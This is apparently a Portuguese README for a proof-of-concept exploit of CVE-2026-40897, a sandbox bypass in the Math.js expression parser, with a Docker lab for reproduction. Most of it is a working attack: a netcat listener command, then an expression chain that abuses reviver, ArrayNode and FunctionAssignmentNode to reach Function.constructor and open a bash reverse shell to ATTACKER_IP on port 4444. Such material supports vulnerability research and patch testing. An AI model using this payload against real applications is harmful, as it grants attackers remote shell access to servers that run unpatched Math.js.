
Proof-of-concept de exploit para CVE-2026-40897, um bypass do sandbox do parser de expressões Math.js que permite execução remota de código por meio de payloads elaborados e um laboratório Docker.
★ CVE-2026-40897 Execução Remota de Código no PoC do Math.js ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 é uma vulnerabilidade de Sandbox Bypass levando à Execução Remota de Código no parser de expressões do Math.js. O filtro
isSafePropertyverifica apenas o acesso a propriedades a partir de expressões do usuário, não a partir de caminhos internos do código. Ao vazar o array interno doArrayNodeatravés detoJSON()e sobrescrever seu.map, um atacante pode forçar o código interno a acessarFunction.constructore executar JavaScript arbitrário.
| Categoria | Versão |
|---|---|
| Vulnerável | Math.js 13.1.1 ≤ versão ≤ 15.1.1 |
| Corrigida | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Após iniciar o ambiente vulnerável, siga os passos abaixo para reproduzir o ataque.
nc -lvnp 4444
Envie a seguinte expressão para math.evaluate (por exemplo, através da entrada de cálculo da aplicação).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
O servidor alvo se conecta de volta ao listener do atacante, concedendo um shell bash interativo.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) através do parser de expressões